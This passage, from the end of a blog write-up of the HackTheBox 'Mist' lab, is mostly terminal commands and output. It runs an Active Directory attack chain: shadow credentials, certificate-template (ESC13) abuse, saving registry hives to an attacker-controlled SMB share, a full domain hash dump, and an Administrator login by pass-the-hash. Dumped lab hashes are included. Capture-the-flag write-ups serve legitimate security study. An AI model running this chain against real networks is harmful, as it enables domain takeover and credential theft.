[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:389 ... OK
[*] Searching for the target account
[*] Target user found: CN=svc_cabackup,CN=Users,DC=mist,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: bee71310-6810-c2f6-3b94-bacc4aea3e57
[*] Updating the msDS-KeyCredentialLink attribute of svc_cabackup
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: f43g4m4m.pfx
[*] Must be used with password: 53qemuN1Tq4ze0kn1i8F
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools


┌──(kali㉿kali)-[~/hackthebox/mist/pywhisker]
└─$ certipy-ad cert -export -pfx f43g4m4m.pfx -password "53qemuN1Tq4ze0kn1i8F" -out unrpotected.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unrpotected.pfx'

┌──(kali㉿kali)-[~/hackthebox/mist/pywhisker]
└─$ proxychains certipy auth -pfx unprotected.pfx -domain mist.htb -username SVC_CABACKUP -dc-ip 192.168.100.100 -ns 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
proxychains: can't load process 'certipy'. (hint: it's probably a typo): No such file or directory

┌──(kali㉿kali)-[~/hackthebox/mist/pywhisker]
└─$ proxychains certipy-ad auth -pfx unprotected.pfx -domain mist.htb -username SVC_CABACKUP -dc-ip 192.168.100.100 -ns 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: [Errno 2] No such file or directory: 'unprotected.pfx'
[-] Use -debug to print a stacktrace

┌──(kali㉿kali)-[~/hackthebox/mist/pywhisker]
└─$ proxychains certipy-ad auth -pfx unrpotected.pfx -domain mist.htb -username SVC_CABACKUP -dc-ip 192.168.100.100 -ns 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: [email protected]
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got TGT
[*] Saved credential cache to 'svc_cabackup.ccache'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/hackthebox/mist/pywhisker]
└─$ proxychains certipy-ad req -u "[email protected]" -hashes ":c9872f1bc10bdd522c12fc2ac9041b64" -template ManagerAuthentication -ca mist-DC01-CA -target dc01.mist.htb -key-size 4096 -dns-tcp -dc-ip 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:53 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:53 ... OK
[*] Requesting certificate via RPC
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[*] Successfully requested certificate
[*] Request ID is 62
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-1045809509-3006658589-2426055941-1135'
[*] Saved certificate and private key to 'svc_cabackup.pfx'
┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains certipy-ad auth -pfx svc_cabackup.pfx -dc-ip 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got TGT
[*] Saved credential cache to 'svc_cabackup.ccache'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64
ESC13 Abuse

When the certificate we apply for have OID group, we can obtain the permissions from this group. So as long as all certificates and OIDs are enumerated, we can find a path:
https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1 is a good resource for this enumeration.

I will now request a certificate for the svc_cabackup service account using certipy-ad, successfully obtaining a certificate and its private key saved as svc_cabackup.pfx. After authenticating with this certificate, we’ll retrieve the NT hash for the service account and save the Kerberos credential cache for later use. Finally, extract the SAM registry hive from the target domain controller to dump secrets with it :) .

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains4 certipy-ad req -u '[email protected]' -k -no-pass -dc-ip 192.168.100.100 -dns 192.168.100.100 -ca mist-DC01-CA -target DC01.mist.htb -template 'BackupSvcAuthentication' -ca mist-DC01-CA -key-size 4096 -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[+] Domain retrieved from CCache: MIST.HTB
[+] Username retrieved from CCache: svc_cabackup
[+] Trying to resolve 'DC01.mist.htb' at '192.168.100.100'
[+] Generating RSA key
[*] Requesting certificate via RPC
[+] Using Kerberos Cache: svc_cabackup.ccache
[+] Using TGT from cache
[+] Username retrieved from CCache: svc_cabackup
[+] Getting TGS for 'host/DC01.mist.htb'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[+] Got TGS for 'host/DC01.mist.htb'
[+] Trying to connect to endpoint: ncacn_np:192.168.100.100[\pipe\cert]
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[+] Connected to endpoint: ncacn_np:192.168.100.100[\pipe\cert]
[*] Successfully requested certificate
[*] Request ID is 70
[*] Got certificate with UPN '[email protected]'
[*] Certificate object SID is 'S-1-5-21-1045809509-3006658589-2426055941-1135'
[*] Saved certificate and private key to 'svc_cabackup.pfx'


┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains4 certipy-ad auth -pfx ./svc_cabackup.pfx -dc-ip 192.168.100.100 -debug
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: [email protected]
[*] Trying to get TGT...
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got TGT
[*] Saved credential cache to 'svc_cabackup.ccache'
[*] Trying to retrieve NT hash for 'svc_cabackup'
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64

┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ export KRB5CCNAME=svc_cabackup.ccache




┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains python3 ./impacket/examples/reg.py 'mist.htb/[email protected]' -k -no-pass -dc-ip 192.168.100.100 save -keyName 'HKLM\SAM' -o '\\10.10.x.x\kujen'
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:88 ... OK
[!] Cannot check RemoteRegistry status. Hoping it is started...
[*] Saved HKLM\SAM to \\10.10.x.x\kujen\SAM.save
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
──(kali㉿kali)-[~/impacket/examples]
└─$ proxychains4 impacket-smbserver -smb2support kujen ./ 130 ⨯
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
09/10/2024 11:42:50 AM: INFO: Config file parsed
proxychains4 ~ / Tools / ampacket / bin / python3 ~ / Tools / ampacket / examples / reg.py mist.htb / [email protected] -k -no-pass -dc-ip 192.168.100kup
09/10/2024 11:46:22 AM: INFO: Incoming connection (10.129.166.107,64490)
09/10/2024 11:46:23 AM: INFO: AUTHENTICATE_MESSAGE (\,DC01)
09/10/2024 11:46:23 AM: INFO: User DC01\ authenticated successfully
09/10/2024 11:46:23 AM: INFO: :::00::aaaaaaaaaaaaaaaa
09/10/2024 11:46:23 AM: INFO: Connecting Share(1:IPC$)
09/10/2024 11:46:23 AM: INFO: Connecting Share(2:kujen)
09/10/2024 11:46:33 AM: INFO: Disconnecting Share(1:IPC$)
09/10/2024 11:46:39 AM: INFO: Disconnecting Share(2:kujen)
09/10/2024 11:46:39 AM: INFO: Closing down connection (10.129.166.107,64490)
09/10/2024 11:46:39 AM: INFO: Remaining connections []

I’ll now run impacket-secretsdump to extract SAM hashes, as well as cached domain logon information and LSA secrets from the saved registry files. I successfully retrieved the hashe for the Administrator and including machine account credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains4 -q python3 impacket/examples/reg.py dc01.mist.htb -dc-ip 192.168.100.100 -target-ip 192.168.100.100 -k -debug backup -o '\\10.10.x.x\kujen'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[+] Impacket Library Installation Path: /usr/local/lib/python3.11/dist-packages/impacket-0.12.0-py3.11.egg/impacket
[+] Using Kerberos Cache: svc_cabackup.ccache
[+] Domain retrieved from CCache: MIST.HTB
[+] SPN CIFS/[email protected] not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/[email protected]
[+] Using TGT from cache
[+] Username retrieved from CCache: svc_cabackup
[+] Trying to connect to KDC at 192.168.100.100:88
[+] DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[!] Cannot check RemoteRegistry status. Hoping it is started...
[+] Dumping HKLM\SAM, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)
[*] Saved HKLM\SAM to \\10.10.x.x\kujen\SAM.save
[+] Dumping HKLM\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)
[-] Couldn't save HKLM\SYSTEM: RRP SessionError: code: 0xb7 - ERROR_ALREADY_EXISTS - Cannot create a file when that file already exists.
[+] Dumping HKLM\SECURITY, be patient it can take a while for large hives (e.g. HKLM\SYSTEM)
[*] Saved HKLM\SECURITY to \\10.10.x.x\kujen\SECURITY.save

┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ cd

┌──(kali㉿kali)-[~]
└─$ cd hackthebox/mist

┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ ls
71.key DavRelayUp.exe ntlmrelayx.py sharon.hash
72.key image_20022024.png openssl.exe sharon.kdbx
74.key impacket PetitPotam socatx64.exe
75.key kujen.exe PetitPotam.exe svc_cabackup.ccache
Administrator.ccache kujen.php pivotsuite.exe svc_cabackup.pfx
cats.png kujen.zip pywhisker SYSTEM.save
Certify.exe ligol.exe Rubeus.exe test.rule
cert.pfx ligolo-ng RubeusToCcache words.txt
chisel.exe ms01.ccache SAM.save
Coercer ms01.kirbi SECURITY.save

┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ impacket-secretsdump local -sam SAM.save -security SECURITY.save -system SYSTEM.save
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x47c7c97d3b39b2a20477a77d25153da5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e121bd371bd4bbaca21175947013dd7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:c68cb851aa6312ad86b532db8103025cb80e69025bd381860316ba55b056b9e1248e7817ab7fc5b23c232a5bd2aa5b8515041dc3dc47fa4e2d4c34c7db403c7edc4418cf22a1b8c2c544c464ec9fedefb1dcdbebff68c6e9a103f67f3032b68e7770b4e8e22ef05b29d002cc0e22ad4873a11ce9bac40785dcc566d38bb3e2f0d825d2f4011b566ccefdc55f098c3b76affb9a73c6212f69002655dd7b774673bf8eecaccd517e9550d88e33677ceba96f4bc273e4999bbd518673343c0a15804c43fde897c9bd579830258b630897e79d93d0c22edc2f933c7ec22c49514a2edabd5d546346ce55a0833fc2d8403780
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e96278990292260
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc78bf46f3d899c3922815140240178912cb2eb59
dpapi_userkey:0xc62a01b328674180712ffa554dd33d468d3ad7b8
[*] NL$KM
0000 C4 C5 BF 4E A9 98 BD 1B 77 0E 76 A1 D3 09 4C AB ...N....w.v...L.
0010 B6 95 C7 55 E8 5E 4C 48 55 90 C0 26 19 85 D4 C2 ...U.^LHU..&....
0020 67 D7 76 64 01 C8 61 B8 ED D6 D1 AF 17 5E 3D FC g.vd..a......^=.
0030 13 E5 4D 46 07 5F 2B 67 D3 53 B7 6F E6 B6 27 31 ..MF._+g.S.o..'1
NL$KM:c4c5bf4ea998bd1b770e76a1d3094cabb695c755e85e4c485590c0261985d4c267d7766401c861b8edd6d1af175e3dfc13e54d46075f2b67d353b76fe6b62731
[*] Cleaning up...

Now secrets dump to get our Administrator hash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains4 python3 impacket/examples/secretsdump.py -hashes ":e768c4cf883a87ba9e96278990292260" DC01\$@192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:445 ... OK
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:49670 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b46782b9365344abdff1a925601e0385:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:298fe98ac9ccf7bd9e91a69b8c02e86f:::
Sharon.Mullard:1109:aad3b435b51404eeaad3b435b51404ee:1f806175e243ed95db55c7f65edbe0a0:::
Brandon.Keywarp:1110:aad3b435b51404eeaad3b435b51404ee:db03d6a77a2205bc1d07082740626cc9:::
Florence.Brown:1111:aad3b435b51404eeaad3b435b51404ee:9ee69a8347d91465627365c41214edd6:::
Jonathan.Clinton:1112:aad3b435b51404eeaad3b435b51404ee:165fbae679924fc539385923aa16e26b:::
Markus.Roheb:1113:aad3b435b51404eeaad3b435b51404ee:74f1d3e2e40af8e3c2837ba96cc9313f:::
Shivangi.Sumpta:1114:aad3b435b51404eeaad3b435b51404ee:4847f5daf1f995f14c262a1afce61230:::
Harry.Beaucorn:1115:aad3b435b51404eeaad3b435b51404ee:a3188ac61d66708a2bd798fa4acca959:::
op_Sharon.Mullard:1122:aad3b435b51404eeaad3b435b51404ee:d25863965a29b64af7959c3d19588dd7:::
op_Markus.Roheb:1123:aad3b435b51404eeaad3b435b51404ee:73e3be0e5508d1ffc3eb57d48b7b8a92:::
svc_smb:1125:aad3b435b51404eeaad3b435b51404ee:1921d81fdbc829e0a176cb4891467185:::
svc_cabackup:1135:aad3b435b51404eeaad3b435b51404ee:c9872f1bc10bdd522c12fc2ac9041b64:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e768c4cf883a87ba9e96278990292260:::
MS01$:1108:aad3b435b51404eeaad3b435b51404ee:57e09da59439ab2d04c15e9250237f48:::
svc_ca$:1124:aad3b435b51404eeaad3b435b51404ee:542fb8bb34abc7460eb6800cd6399e54:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:223c1b3a34e024798181df5812ff08617c8a874473002ca892f5f3312a0367d2
Administrator:aes128-cts-hmac-sha1-96:98610a32239f909d2dd7191a0b200af3
Administrator:des-cbc-md5:89e007fbc8197319
krbtgt:aes256-cts-hmac-sha1-96:1f8d633a6aca948f3cfe1ae103ef2245825dc2f16ed171823ac817c097aea0f1
krbtgt:aes128-cts-hmac-sha1-96:d746342824512200d29d504b040e150b
krbtgt:des-cbc-md5:4923193b1c981332
Sharon.Mullard:aes256-cts-hmac-sha1-96:46f1b3a696d5ce7194654e1ee205e05e5fc40fc6726232494d50172697404f59
Sharon.Mullard:aes128-cts-hmac-sha1-96:ce1d4f67122df39096a0304087a37af9
Sharon.Mullard:des-cbc-md5:1a7f4054163d7580
Brandon.Keywarp:aes256-cts-hmac-sha1-96:5b6d15db9b7d5a87e6fab031a46dc560df979523edf72109a33dbee4c9023e2a
Brandon.Keywarp:aes128-cts-hmac-sha1-96:c94f80b1f0f52971bc210cb7fa08e548
Brandon.Keywarp:des-cbc-md5:80757608c7fef2ec
Florence.Brown:aes256-cts-hmac-sha1-96:30edaa3ce504213f32a4ea4b4ee209788bc022d2702f45e512b8d552b530d9f3
Florence.Brown:aes128-cts-hmac-sha1-96:68085dd2a95d4ead421af52312472061
Florence.Brown:des-cbc-md5:ce7508bc0e7998ab
Jonathan.Clinton:aes256-cts-hmac-sha1-96:ac2f7bfaee93c245ebbd9959fa420c32b1d69780560c8a23c605eb47e5d6cc46
Jonathan.Clinton:aes128-cts-hmac-sha1-96:467238a4a231a28930e412d27ed8b09a
Jonathan.Clinton:des-cbc-md5:087c674fcdf1bf8f
Markus.Roheb:aes256-cts-hmac-sha1-96:48553e83896443f93aa77b0f280407f02d0a13da45c2c39598fb0fa298c17043
Markus.Roheb:aes128-cts-hmac-sha1-96:e48c992fe7678056ac85e0fe169c02c5
Markus.Roheb:des-cbc-md5:7940c4c8259b1af7
Shivangi.Sumpta:aes256-cts-hmac-sha1-96:4b6f0e6c634bdc4dad3b91b42fec80135c5520f49aa7f7d541d27aacfce21d89
Shivangi.Sumpta:aes128-cts-hmac-sha1-96:25fba62098625aecfe9f335aa71a01cb
Shivangi.Sumpta:des-cbc-md5:c24fa21ccb91aba1
Harry.Beaucorn:aes256-cts-hmac-sha1-96:f85edbb56f68155fb8b45360ba2e67cbe67893c8875d7ae1ea2a54085f082a73
Harry.Beaucorn:aes128-cts-hmac-sha1-96:e21bf6bd700e77fdea81121431629f4c
Harry.Beaucorn:des-cbc-md5:ab7c137ad364e66e
op_Sharon.Mullard:aes256-cts-hmac-sha1-96:14457283d779320d1bf9e003ee084c9f70d8fec7324345ac15d16241c512299f
op_Sharon.Mullard:aes128-cts-hmac-sha1-96:c439ce69fb34c7b2c693cd11dabd2488
op_Sharon.Mullard:des-cbc-md5:8cc158f8527585ba
op_Markus.Roheb:aes256-cts-hmac-sha1-96:630b8034289cce271b529607039bff05635578b555f055e15398e90665a3a91b
op_Markus.Roheb:aes128-cts-hmac-sha1-96:48f2924abb1cdbe2b029a679b9f95e2c
op_Markus.Roheb:des-cbc-md5:3876f7baa1e97932
svc_smb:aes256-cts-hmac-sha1-96:ab6fd9c7fb1497cd70e54fbe3e763cfac26fa660ceee14492736c6c183b74e37
svc_smb:aes128-cts-hmac-sha1-96:a8626be32fc03eff20e28b11101cd262
svc_smb:des-cbc-md5:b0f8bfb5e6ea0431
svc_cabackup:aes256-cts-hmac-sha1-96:7bb6d62ae4d9438ed967ac87ebe16c00ed8eec1d2ef6979288ad16a0ef9d1dd4
svc_cabackup:aes128-cts-hmac-sha1-96:f85ae26f1f4f33686293221872fef92a
svc_cabackup:des-cbc-md5:4a7504e5341910df
DC01$:aes256-cts-hmac-sha1-96:a47600b1ff206958b49938fdff101d4444253de01f595c7fe1a5276e4265c245
DC01$:aes128-cts-hmac-sha1-96:7043bf9b8bf4e5886058da7defab4581
DC01$:des-cbc-md5:07fef70d97161502
MS01$:aes256-cts-hmac-sha1-96:b3107efe1a98f9ab2d29a43d41e44203baffa82e9757559b435d2bb71ed125c0
MS01$:aes128-cts-hmac-sha1-96:de935c0538bbae17e9cd85d689d5dc92
MS01$:des-cbc-md5:32d98c98ae19f42c
svc_ca$:aes256-cts-hmac-sha1-96:a51977f4850abae95348471e794550d92bfa970e182e259476ff2c7587f64d7f
svc_ca$:aes128-cts-hmac-sha1-96:9777cf891b00a2df16c65c3e6f74c100
svc_ca$:des-cbc-md5:3b326d912fc87cb6
[*] Cleaning up...

And we got it! b46782b9365344abdff1a925601e0385

Now we can go on the machine an claim our root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/hackthebox/mist]
└─$ proxychains4 evil-winrm -u administrator -H 'b46782b9365344abdff1a925601e0385' -i 192.168.100.100
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
[proxychains] Strict chain ... 127.0.0.1:1080 ... 192.168.100.100:5985 ... OK
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt
2d158e0a76edbd******************
*Evil-WinRM* PS C:\Users\Administrator\desktop>

That was it for this writeup. And I can say that this was the hardest machine I have ever played on HackTheBox. Was really fun and I learned a lot.
-0xkujen

  • Title: Hackthebox: Mist
  • Author: Foued SAIDI
  • Created at : 2024-10-25 14:15:02
  • Updated at : 2024-10-26 16:43:09
  • Link: https://kujen5.github.io/2024/10/25/Hackthebox-Mist/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
Hackthebox: Mist